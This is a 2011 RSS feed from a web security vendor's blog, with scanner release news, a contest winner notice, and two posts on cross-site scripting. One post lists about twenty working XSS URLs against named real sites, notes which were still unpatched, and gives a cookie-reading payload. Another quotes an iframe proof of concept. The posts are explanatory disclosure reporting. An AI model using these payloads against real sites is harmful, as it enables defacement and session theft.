<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Acunetix Web Application Security Blog &#187; news</title>
	<atom:link href="http://www.acunetix.com/blog/category/news/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.acunetix.com/blog</link>
	<description>Acunetix Web Application Security Blog</description>
	<lastBuildDate>Thu, 02 Feb 2012 15:03:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>VIDEO: Acunetix Web Vulnerability Scanner 8 &#8211; What&#8217;s New?</title>
		<link>http://www.acunetix.com/blog/docs/video-wvs-8-whats-new/</link>
		<comments>http://www.acunetix.com/blog/docs/video-wvs-8-whats-new/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 09:51:58 +0000</pubDate>
		<dc:creator>Jacques G</dc:creator>
				<category><![CDATA[docs & FAQs]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[acunetix video]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[new features]]></category>
		<category><![CDATA[new release]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[wvs 8]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4714</guid>
		<description><![CDATA[The next big release of Acunetix WVS is in Beta, and will soon be safeguarding thousands of web applications and businesses. This brief presentation highlights the exciting new features in WVS 8; we look forward ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/11/movies.png"><img class="alignleft size-full wp-image-4726" title="WVS 8 Video" src="http://www.acunetix.com/blog/wp-content/uploads/2011/11/movies.png" alt="" width="128" height="128" /></a>The next big release of Acunetix WVS is in Beta, and will soon be safeguarding thousands of web applications and businesses. This brief presentation highlights the exciting new features in WVS 8; we look forward to your comments.<br />
<span id="more-4714"></span><br />
<iframe src="http://www.youtube.com/embed/ItIFEYG2RmY" frameborder="0" width="560" height="315"></iframe></p>
<p>You can watch a high quality version of this video <a title="What's New in Acunetix Web Vulnerability Scanner 8" href="http://www.youtube.com/watch?v=ItIFEYG2RmY&amp;fmt=18" target="_blank">on YouTube</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/docs/video-wvs-8-whats-new/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Acunetix Web Vulnerability Scanner 8 BETA Available Now</title>
		<link>http://www.acunetix.com/blog/releases/acunetix-wvs-8-beta/</link>
		<comments>http://www.acunetix.com/blog/releases/acunetix-wvs-8-beta/#comments</comments>
		<pubDate>Wed, 16 Nov 2011 16:25:34 +0000</pubDate>
		<dc:creator>Jacques G</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[releases]]></category>
		<category><![CDATA[acunetix]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[acunetix wvs 8]]></category>
		<category><![CDATA[acunetix wvs 8 beta]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[web security scan]]></category>
		<category><![CDATA[website security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4508</guid>
		<description><![CDATA[The next stage in the evolution of Acunetix Web Vulnerability Scanner has arrived &#8212; WVS 8 BETA!
Many of you have been biting their nails in anticipation of this Beta, so sit tight and read on ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/10/acunetix_logo_blog_post_100x742-copy.png"><img class="alignleft size-full wp-image-4509" title="Acunetix Web Vulnerability Scanner 8 Beta" src="http://www.acunetix.com/blog/wp-content/uploads/2011/10/acunetix_logo_blog_post_100x742-copy.png" alt="" width="120" height="89" /></a>The next stage in the evolution of Acunetix Web Vulnerability Scanner has arrived &#8212; WVS 8 BETA!</p>
<p>Many of you have been biting their nails in anticipation of this Beta, so sit tight and read on for the next most important stage in the evolution of Acunetix WVS.  Version 8 of Web Vulnerability Scanner has been optimized to make life easier at every stage of a security scan. <span id="more-4508"></span>WVS is easier to use for web admins and security analysts alike: enhanced automation, ability to save scan settings as a template to avoid reconfiguration, and multiple instance support for simultaneous scans of several websites. WVS 8 also ushers in a new exciting co-operation between Acunetix and Imperva: developers of the industry&#8217;s leading Web Application Firewall.</p>
<p>If you are interested in testing the new BETA of Version 8, and you already own an Acunetix WVS Enterprise or Consultant license with a valid maintenance agreement, contact us today at beta@acunetix.com.</p>
<p>The FREE version of Acunetix WVS 8 BETA can be downloaded from <a title="Acunetix Web Vulnerability Scanner Version 8 beta download" href="http://www.acunetix.com/vulnerability-scanner/vulnerabilityscanner8.exe">here</a></p>
<h2>New to WVS 8</h2>
<p>&nbsp;</p>
<h3>Manipulation of inputs from URLs</h3>
<p>Acunetix WVS can automatically detect URL parameters and manipulate them to detect vulnerabilities. This technology is not present in any other competing vulnerability scanner.</p>
<h3>Automatic IIS 7  rewrite rule interpretation</h3>
<p>Using the web application&#8217;s <em>web.config</em> file, WVS 8 can automatically interpret rewrite rules without requiring any manual input.</p>
<h3>Support for custom HTTP headers</h3>
<p>To function correctly, some web applications need incoming requests to contain specific HTTP headers. It is now possible to define custom HTTP headers to be used during automated scans.</p>
<h3>Imperva Web Application Firewall integration</h3>
<p>An exciting co-operation between <a title="Imperva Web Application Firewall" href="http://www.imperva.com/products/wsc_web-application-firewall.html" target="_blank">Imperva</a> and Acunetix: WVS 8 scan results can be automatically imported into an Imperva Web Application Firewall and interpreted as rules.</p>
<h3>New vulnerability class: HTTP Parameter Pollution</h3>
<p>At the time of writing, Acunetix WVS 8 is the only scanner that tests for this security vulnerability.</p>
<h3>Multiple instance support</h3>
<p>Acunetix WVS 8 can be relaunched as multiple instances on the same machine, allowing the user to scan multiple websites and opening up further support for multi-user scenarios on the same server/workstation.</p>
<h3>Redesigned Scheduler</h3>
<p>Accessible via a web interface, the new Scheduler allows administrators to download scan results from any workstation, laptop, or smartphone. The new Scheduler will automatically launch another instance of WVS when multiple web scans are due, preventing multiple processes from depending on the resources of one WVS instance and thereby allowing scans to complete in less time.</p>
<h3>Automatic custom 404 error page recognition and detection</h3>
<p>Acunetix WVS 8 can automatically determine if a custom error page is in use and recognizes it without requiring any custom 404 recognition patterns to be configured for a scan</p>
<h3>Scan settings templates</h3>
<p>WVS 8 now allow the settings for the scan of a specific application to be saved as individual templates, making it quick and easy to recall the exact settings for a website each time it is scanned. This is particularly useful when scanning multiple sites, allowing the user to load the template for each site instead of re-configuring all the settings manually.</p>
<h3>Simplified Scan Wizard</h3>
<p>In addition to the introduction of Scan Settings Templates and automatic custom 404 error page recognition, the Scan Wizard contains far less options so it&#8217;s much easier and quicker to kick off a scan.</p>
<h3>Smart memory management</h3>
<p>The following settings have been added to ensure even the most complex scans will complete automatically, and successfully:</p>
<ul>
<li>Define number of files per directory</li>
<li>Limit number of subdirectories per website</li>
<li>Assign Crawler memory limit</li>
</ul>
<h3>Real-time Crawler status</h3>
<p>Crawler data is now updated in real-time information and provides live feedback how many files have been crawled, how many inputs have been detected, and more.</p>
<h3>Scan termination status included in report</h3>
<p>Reports now include the termination or completion status of each vulnerability scan. For example: the report will display if the scan was completed successfully or halted manually.</p>
<h3>Web application coverage report</h3>
<p>A new report template that lists all the web application files crawled and specific vulnerability tests performed on each file.</p>
<h3>Log file retention</h3>
<p>It is now possible to define the retention span before log files are automatically flushed; to ensure logs are not deleted each time WVS is restarted.</p>
<p>&nbsp;</p>
<h2>Significant WVS 8 improvement<span class="Apple-style-span" style="font-size: 13px; font-weight: normal;"> </span></h2>
<p><span class="Apple-style-span" style="font-size: 15px; font-weight: bold;">Improved web security check scripts</span></p>
<ul>
<li>All security check scripts have been optimized to reduce false positives even further</li>
<li>The scanner checks for the latest variants of vulnerability classes like XSS, SQL injection, and more.</li>
</ul>
<h2><strong>Become a Beta tester</strong></h2>
<p>Are you a security researcher who&#8217;s passionate about web security? Do you want to stay current with the latest cutting-edge web security scanning technologies? Contact us at beta@acunetix.com to learn more. (Requests are subject to approval)</p>
<p><em>Acunetix customers who already own an Enterprise or Consultant license with a valid maintenance agreement are automatically eligible to participate as beta testers.</em></p>
<p>The Acunetix WVS Version 8 user manual is available in <a title="Acunetix Web Vulnerability Scanner Version 8 manual" href="http://www.acunetix.com/vulnerability-scanner/wvs8manual.pdf" target="_blank">PDF Format</a> and also in <a title="Acunetix Web Vulnerability Scanner Version 8 manual" href="http://www.acunetix.com/vulnerability-scanner/wvs8manual/websecurity-scanner.htm" target="_blank">HTML Format</a>.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/releases/acunetix-wvs-8-beta/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Critical XSS Flaw Discovered in Barack Obama&#8217;s Website</title>
		<link>http://www.acunetix.com/blog/news/obama-email-servers-hacked-xss/</link>
		<comments>http://www.acunetix.com/blog/news/obama-email-servers-hacked-xss/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 14:23:27 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[barack obama hack]]></category>
		<category><![CDATA[email server hack]]></category>
		<category><![CDATA[obama email hack]]></category>
		<category><![CDATA[whitehouse hack]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4307</guid>
		<description><![CDATA[A security research team called Vulnerability-Lab have discovered a persistent XSS vulnerability in the official website of Barack Obama. This is not the first time that the president’s website was targeted. About a year ago ...]]></description>
			<content:encoded><![CDATA[<p><strong>A security research team called Vulnerability-Lab have discovered a persistent <a title="Cross Site Scripting Attacks" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm" target="_blank">XSS</a> vulnerability in the official website of Barack Obama. This is not the first time that the president’s website was targeted. About a year ago SecurityShell reported a similar <a title="Acunetix: Preventing XSS Attacks" href="http://www.acunetix.com/blog/web-security-zone/articles/preventing-xss-attacks/" target="_blank">XSS</a> vulnerability on their blog.</strong></p>
<p style="text-align: center"><strong></strong><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/09/obama.jpg"><img class="alignnone size-full wp-image-4309 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/obama.jpg" alt="" width="518" height="355" /></a></p>
<p>This time the president was lucky; the hackers were ethical and reported the exploit before publicly disclosing it. The Barack Obama website administrators took over a week to respond, but eventually patched their system with some help from the researchers. This is the white hat world where hackers follow a procedure called Responsible Disclosure. They report the exploit to the web site and wait for a fix before announcing their discovery. However there is also a dark side &#8211; an underworld of cyber-criminals who exploit website vulnerabilities for financial or political gain.</p>
<p>Below is the original report timeline, at the time of writing I did not have a confirmed date of the Patch, however the researchers told me that the website is not vulnerable anymore.</p>
<blockquote><p>Report-Timeline:<br />
================<br />
2011-08-30: Vendor Notification<br />
2011-09-19: Vendor Response/Feedback<br />
2011-09-**: Vendor Fix/Patch<br />
2011-09-12: Public or Non-Public Disclosure</p></blockquote>
<p>&nbsp;</p>
<div id="attachment_4308" class="wp-caption aligncenter" style="width: 569px"><img class="size-full wp-image-4308 " src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/obamaxss.jpg" alt="Image from last year's hack against the same website" width="559" height="342" /><p class="wp-caption-text">Image from last year&#039;s hack against the same website</p></div>
<p style="text-align: left">Many times <a title="Cross site scripting attacks" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm">XSS vulnerabilities</a> are used to deface websites. This type of activity is the equivalent of throwing paint on a billboard on the highway. It’s easy to do and ugly for the website, however the damage is easily reversed.</p>
<p>This particular exploit appears to be more sophisticated than simple vandalism. Vulnerability-Lab succeeded in injecting Javascript into the back-end of the website. This Javascript, made it all the way into mailshots generated by the system. In their Proof of Concept (PoC) code the researchers demonstrated how an IFRAME exploit could be inserted into emails sent from info@barackobama.com.</p>
<p>&nbsp;</p>
<div id="attachment_4352" class="wp-caption aligncenter" style="width: 463px"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/09/obamaxxsemail.png"><img class="size-full wp-image-4352 " src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/obamaxxsemail.png" alt="XSS'ed Email" width="453" height="205" /></a><p class="wp-caption-text">This email comes from info@barackobama.com and contains a malicious script.</p></div>
<p>The screenshot above shows a page from the Global Evolution Security website as it appears embedded in an email sent from the barackobama.com website. The email source is below:</p>
<blockquote><p>Check out this video from the President&#8217;s lunch to hear him speak=20<br />
in his own words about what it means to organize. Then will you=20<br />
sign up to be a volunteer for 2012 in &gt;&#8221;&lt;iframe =<br />
src=3Dhttp://vulnerability-lab.com width=3D800 height=3D800&gt;?</p></blockquote>
<p>The attackers managed to inject this by exploiting a vulnerability in the volunteer signup form that is available on the website.</p>
<div id="attachment_4353" class="wp-caption aligncenter" style="width: 316px"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/09/obamavolunteer.png"><img class="size-full wp-image-4353 " src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/obamavolunteer.png" alt="" width="306" height="178" /></a><p class="wp-caption-text">Volunteer Signup</p></div>
<p>During the signup process, the user is asked for his name, email address and other details. This form allowed them to inject the script tags that made the attack possible. Apart from appearing in emails, the attack script also appeared on other parts of the website, meaning that visitors to the barackobama.com web page were also vulnerable.</p>
<p>XSS attacks are often overshadowed by their ugly cousin &#8211; <a title="SQL Injection vulnerability" href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL Injection</a>. This causes them to remain undetected for a long time. SQL Injection attacks do a lot of damage and are much more frequent, however here we see once again that XSS can be used effectively with devastating effects.</p>
<p>To circumvent these types of attacks it is important to run automated vulnerability scans using a Web Vulnerability Scanner. Vulnerability scanning should be followed by thorough code reviews and patches must be applied where necessary.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/obama-email-servers-hacked-xss/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Full Disclosure &#8211; 20 high profile sites vulnerable to XSS attacks</title>
		<link>http://www.acunetix.com/blog/news/full-disclosure-high-profile-websites-xss/</link>
		<comments>http://www.acunetix.com/blog/news/full-disclosure-high-profile-websites-xss/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 14:02:15 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[cross-site scripting vulnerability]]></category>
		<category><![CDATA[full disclosure]]></category>
		<category><![CDATA[high profile websites vulnerable]]></category>
		<category><![CDATA[mcdonalds cross-site scripting]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4179</guid>
		<description><![CDATA[
On Thursday morning a post appeared on the popular Full Disclosure Internet discussion group listing XSS vulnerabilities in no less than 20 high profile websites. Amongst the vulnerable are McDonalds, IEEE Explore, Harvard University, and ...]]></description>
			<content:encoded><![CDATA[<div>
<p><strong>On Thursday morning a post appeared on the popular Full Disclosure Internet discussion group listing XSS vulnerabilities in no less than 20 high profile websites. Amongst the vulnerable are McDonalds, IEEE Explore, Harvard University, and energy.gov. The vulnerabilities were discovered by a hacker who goes by the handle *Invectus*.</strong></p>
<h2>Is an XSS Vulnerability a big deal?</h2>
<p><span class="Apple-style-span" style="font-size: 13px; font-weight: normal;">XSS vulnerabilities (<a title="What is Cross-site scripting?" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm">Cross-Site Scripting vulnerabilities</a>) are often overshadowed by their big cousin, the infamous SQL Injection. This does not make them any less effective or deadly. XSS and <a title="What is SQL Injection vulnerability?" href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL Injection</a> attacks are similar in the way they inject malicious code. The difference is that an SQL attack, injects code into the target database whereas an XSS attack injects code into the target browser. In an XSS attack the hacker uses your website to inject code into your visitor’s browser.</span></p>
<p><span id="more-4179"></span></p>
<p>Once a user is infected, the malicious code can do a variety of things. It can change the color scheme of the page the user is viewing. It can do more nasty things such as replacing images with pornographic content. Using the same techniques, links on the page may be re-written to point to malicious locations. Sometimes clicks can also be forced, simulating user action without his knowledge. Another popoular XSS attack reads out the user’s cookie and transmits it to the hacker. This allows him to impersonate the user and hijack his session. If the user happens to be the system administrator, the hacker can take over the entire website.</p>
<h2>How to: XSS McDonalds</h2>
<p>Below is the entire list of websites that were disclosed as vulnerable. At first glance the list is long and cryptic, but with some basic hacker techniques we can soon make some sense out of them.</p>
<blockquote>
<pre>http://video.state.gov/en/search/img-srchttp-i55tin
ypiccom-witu7dpng-height650-width1000/Ij48aW1nIHNyY
z0iaHR0cDovL2k1NS50aW55cGljLmNvbS93aXR1N2QucG5nIiBo
ZWlnaHQ9IjY1MCIgd2lkdGg9IjEwMDAiPg%3D%3D

http://www.telegraph.co.uk/search/?queryText=%22%3E

%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%2
2%20height=%22650%22%20width=%221000%22%3E

http://www.dsm.com/en_US/cworld/public/home/pages/s

earchResults.jsp?search-site=%22%3E%3Cimg+src%3D%22
http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height
%3D%22650%22+width%3D%221000%22%3E&amp;noMimimumKeyword
s=false

http://www.schools.nsw.edu.au/psearch/ext/?refine=n

ew&amp;QueryText=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55
.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+wid
th%3D%221000%22%3E&amp;Go.x=29&amp;Go.y=25&amp;Go=submit

http://thetablet.co.uk/search.php?q=%22%3E%3Cimg%20

src=%22http://i55.tinypic.com/witu7d.png%22%20heigh
t=%22650%22%20width=%221000%22%3E

http://www.scstatehouse.gov/cgi-bin/query.exe?firs

t=FIRST&amp;querytext=&amp;category=%22%3E%3Cimg%20src=%22

http://i55.tinypic.com/witu7d.png%22%20height=%226

50%22%20width=%221000%22%3E

http://www.highered.tafensw.edu.au/vsearch/tafehig

heredu/?QueryText=%22%3E%3Cimg%20src=%22http://i55
.tinypic.com/witu7d.png%22%20height=%22650%22%20wi
dth=%221000%22%3E

http://www.mcdonalds.com/content/us/en/search/sear

ch_results.html?queryText=%22%3E%3Cimg%20src=%22ht
tp://i55.tinypic.com/witu7d.png%22%20height=%22650
%22%20width=%221000%22%3E

http://www.watersportholland.nl/cgi-bin/watersport

holland/zoeken.cgi?search=Vera&amp;query=%22%3E%3Cimg+
src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png
%22+height%3D%22650%22+width%3D%221000%22%3E

http://www.gpo.gov/fdsys/search/searchresults.acti

on?st=%22%3E%3Cimg%20src=%22http://i55.tinypic.com
/witu7d.png%22%20height=%22650%22%20width=%221000%
22%3E

http://www.networkcomputing.com/sitesearch?sort=pu

blishDate+desc&amp;queryText=%22%3E%3Cimg+src%3D%22htt
p%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3
D%22650%22+width%3D%221000%22%3E

http://www.unc.edu/search/index.htm?q=%22%3E%3Cimg

+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.pn
g%22+height%3D%22650%22+width%3D%221000%22%3E&amp;cx=0
14532668884084418890%3Ajyc_iub1byy&amp;cof=FORID%3A10&amp;
ie=UTF-8&amp;hq=inurl%3Adevnet.unc.edu

http://cugir.mannlib.cornell.edu/search?querytext=

%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7
d.png%22%20height=%22650%22%20width=%221000%22%3E

http://ieeexplore.ieee.org./search/freesearchresul

t.jsp?newsearch=true&amp;queryText=.QT.%3E%3Cimg+src.E
Q..QT.http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png.QT
.+height.EQ..QT.650.QT.+width.EQ..QT.1000.QT.%3E&amp;x
=58&amp;y=13

http://vivo-vis.cns.iu.edu/vivo1/search?querytext=

%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com
%2Fwitu7d.png%22+height%3D%22650%22+width%3D%22100
0%22%3E

http://google.nyu.edu/search?site=NYUWeb_Main&#038;clie

nt=NYUWeb_Main&amp;output=xml_no_dtd&amp;proxyreload=1&amp;pro
xystylesheet=stern_frontend&amp;sitesearch=www.stern.n
yu.edu&amp;q=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.ti
nypic.com%2Fwitu7d.png%22+height%3D%22650%22+width
%3D%221000%22%3E&amp;x=8&amp;y=6

http://ofa.fas.harvard.edu/cal/search.php?q=%22%3E

%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%
22%20height=%22650%22%20width=%221000%22%3E

http://www.uidaho.edu/search?q=%22%3E%3Cscript%3EI

nvectus%3C/script%3E&amp;cof=FORID:9&amp;cref=http://www.u
idaho.edu/search?xml=1&amp;ticks=634508915004972966

https://vivo.ufl.edu/search?flag1=1&#038;querytext=%22%

3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fw
itu7d.png%22+height%3D%22650%22+width%3D%221000%22
%3E

http://energy.gov/search/site/%22%3E%3Cimg%20src%3

D%22http%3A//i55.tinypic.com/witu7d.png%22%20heigh
t%3D%22650%22%20width%3D%221000%22%3E</pre>
<p>&nbsp;</p></blockquote>
<p><span class="Apple-style-span" style="font-size: 20px; font-weight: bold;">Understanding XSS</span></p>
<p>I will take the www.mcdonalds.com vulnerability to help explain XSS in more detail.</p>
<p>The raw XSS attack is repeated below:</p>
<blockquote><p>http://www.mcdonalds.com/content/us/en/search/search_results.html?queryText=%22%3E%3Cimg%20src=%22http://i55.tiny</p>
<p>pic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E</p></blockquote>
<h2><span class="Apple-style-span" style="font-size: 13px; font-weight: normal;">The first thing we will do is seperate the URL from the query. We split at the first question mark (?) and get two parts:</span></h2>
<p><strong>1. URL Part:</strong></p>
<blockquote><p>http://www.mcdonalds.com/content/us/en/search/search_results.html</p></blockquote>
<p><strong>2. Query Part</strong></p>
<blockquote><p>queryText=%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%22%20</p>
<p>height=%22650%22%20width=%221000%22%3E</p></blockquote>
<p>The URL part identifies the vulnerable file on the server. In this case the vulnerabilitie lies within the search functionality of the site, a very common attack vector for both SQL Injections and XSS attacks.</p>
<p>The Query Part is the actual attack code. You will notice lots of % symbols. These are called URL Encoders and are difficult to read without the right tools. I use the <a title="Acunetix HTTP Editor advanced penetration testing tool" href="http://www.acunetix.com/blog/docs/http-editor/">Acunetix HTTP Editor tool</a> that is bundled with Acunetix WVS to decode URL Endoded Query Parts.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/09/decodertool.png"><img class="size-full wp-image-4191 aligncenter" title="Acunetix HTTP Editor decoder and encoder tool" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/decodertool.png" alt="" width="546" height="169" /></a></p>
<p>The human-readable Query Part now looks like this:</p>
<blockquote><p>queryText=&#8221;&gt;&lt;img src=&#8221;http://i55.tinypic.com/witu7d.png&#8221; height=&#8221;650&#8243; width=&#8221;1000&#8243;&gt;</p></blockquote>
<p>This script is hardly malicious. It injects the image of a flag into the McDonalds web page. I tested it out assuming that McDonalds would have fixed this security flaw immediately, and I was surprised to find that the vulnerabilitiy is still there.</p>
<p style="text-align: center;"><img class="size-full wp-image-4194 aligncenter" title="Mcdonalds.com hacked with XSS" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/mcdonalds.png" alt="" width="512" height="355" /></p>
<p>This attack is pretty innoctuous as it is, however a crafty hacker will most likely manage to inject other malicious, such as the code below, which displays the user’s cookie:</p>
<blockquote><p>&lt;IMG SRC=javascript:alert(&#8216;You cookie is this:&#8217; + document.cookie)&gt;</p></blockquote>
<p>I decided to check other websites to see if they patched their sites after the disclosure was announced. You find my results in the next sections.</p>
<h2>Winners and Losers</h2>
<p>I categorised the orignial list into the Winners &#8211; those who fixed the vulnerabilitiy within 24 hours of it’s diclosure, and the Losers &#8211; those who left the secuirty flaw there for everyone to exploit. Within the next few days hackers will be having a field day with the Losers especially those like IEEE Explore who serve paid content from their site.</p>
<p><strong>Winners &#8211; Vulnerability is fixed:</strong></p>
<ul>
<li>Harvard University</li>
<li>US Department of State</li>
<li>Energy.gov</li>
<li>The Telegraph UK</li>
<li>University of North Carolina</li>
<li>Cornell University</li>
<li>University of Idaho</li>
</ul>
<p><strong>Losers &#8211; Website is still vulnerable:</strong></p>
<ul>
<li>McDonalds</li>
</ul>
<ul>
<li><strong>US Government Printing Office</strong></li>
</ul>
<div><img class="alignnone size-full wp-image-4198 aligncenter" title="US Government printing office official website vulnerable for XSS" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/usprinting.png" alt="" width="549" height="406" /></div>
<div>
<ul>
<li>TAFE Higher Education</li>
</ul>
<ul>
<li>Watersportholland.nl</li>
</ul>
</div>
<ul>
<li><strong>IEEE Explore</strong></li>
</ul>
<div><img class="size-full wp-image-4193 aligncenter" title="IEEE Explore website Cross-site scripting vulnerability" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/ieee.png" alt="" width="562" height="537" /></div>
<ul>
<li>DSM</li>
</ul>
<ul>
<li>South California Legislature</li>
</ul>
<ul>
<li><strong>Networkcomputing.com</strong></li>
</ul>
<div><img class="size-full wp-image-4195 aligncenter" title="Networkcomputing.com vulnerable to Cross-site scripting vulnerability" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/networkcomputing.png" alt="" width="562" height="439" /></div>
<ul>
<li>VIVO</li>
</ul>
<ul>
<li>NYU Stern</li>
</ul>
<ul>
<li>The Tablet UK</li>
</ul>
<ul>
<li><strong>NSW Public Schools</strong></li>
</ul>
<div><img class="size-full wp-image-4196 aligncenter" title="NSW Public Schools website vulnerable to XSS vulnerability" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/nsw.png" alt="" width="499" height="266" /></div>
<h2>How to be a Winner</h2>
<p><span class="Apple-style-span" style="font-size: 13px; font-weight: normal;">It is very probable that the hacker used automated tools to scan these web sites and automatically discover vulnerabilities. The injection code for each page is slightly different so the hacker must have tweaked around with each site to make his injection successful.</span></p>
<p>If you want to stay one step ahead you will need to use similar tools that the hacker uses. The most common one is a <a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Web Vulnerability Scanner</a> that supports automatic XSS detection. You will need to scan your website periodically to ensure that updates to the site do not expose new flaws.</p>
<h2>Final Thoughts</h2>
<p>In this case our hacker single handedly defaced 20 big web sites using XSS. The companies were lucky because the hacker did not have any malicious intent other than exposing them. The danger is what will come next; now that this list is in the wild the black-hats of the hacker community will pounce at every exposed vulnerability that is not patched.</p>
<p>If your website is on the list above you’d better do something about it now. If you want to make sure that your site never appears on such a list make regular scans and code reviews to fix any XSS vulnerabilities you may find.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/full-disclosure-high-profile-websites-xss/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Acunetix Facebook iPad Competition: and the Winner is&#8230;</title>
		<link>http://www.acunetix.com/blog/news/acunetix-facebook-ipad-competition-winner/</link>
		<comments>http://www.acunetix.com/blog/news/acunetix-facebook-ipad-competition-winner/#comments</comments>
		<pubDate>Fri, 02 Sep 2011 07:27:09 +0000</pubDate>
		<dc:creator>Jacques G</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[competition]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[iPad 2]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4164</guid>
		<description><![CDATA[
There&#8217;s no way the Acunetix Facebook iPad competition was going to fly under the radar. As soon as August was out we immediately began receiving messages asking who the competition winner was. Well, the security ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter size-full wp-image-3606" style="border-width: 0pt; border-style: none;" title="Win an iPad 2 with Acunetix" src="http://www.acunetix.com/blog/wp-content/uploads/2011/06/iPad2-Acunetix-Facebook-Competition.jpg" alt="To stand a chance of winning an iPad 2, simply &quot;Like&quot; the Acunetix Facebook Page" width="557" height="449" /></p>
<p>There&#8217;s no way the <a title="Win an iPad 2" href="http://www.acunetix.com/blog/news/like-acunetix-like-facebook-win-an-ipad-2/" target="_blank">Acunetix Facebook iPad competition</a> was going to fly under the radar. As soon as August was out we immediately began receiving messages asking who the competition winner was. Well, the security world is a busy one and we&#8217;ve cheekily decided to leave you toasting for a while longer just to raise a bit of suspense, but the moment has finally arrived.</p>
<p>So, without further ado, the winner of the June 2011 <a title="Acunetix Facebook" href="https://www.facebook.com/Acunetix" target="_blank">Acunetix Facebook</a> iPad competition is:</p>
<h3><a title="Acunetix iPad Winner" href="https://www.facebook.com/thoniscola" target="_blank">&gt;&gt;&gt; Antonio Carlos Scola &lt;&lt;&lt;</a></h3>
<p>Congratulations to Antonio from the Acunetix team. We hope this shiny new iPad 2 will increase your productivity with its many <a title="Angry Birds" href="http://itunes.apple.com/us/app/angry-birds/id343200656?mt=8" target="_blank">cutting edge business utilities</a>, and allow you to keep updated with all our latest blog posts and announcements. We&#8217;ll be in touch with you shortly to finalize the details on redeeming your prize.</p>
<h2>Things to come</h2>
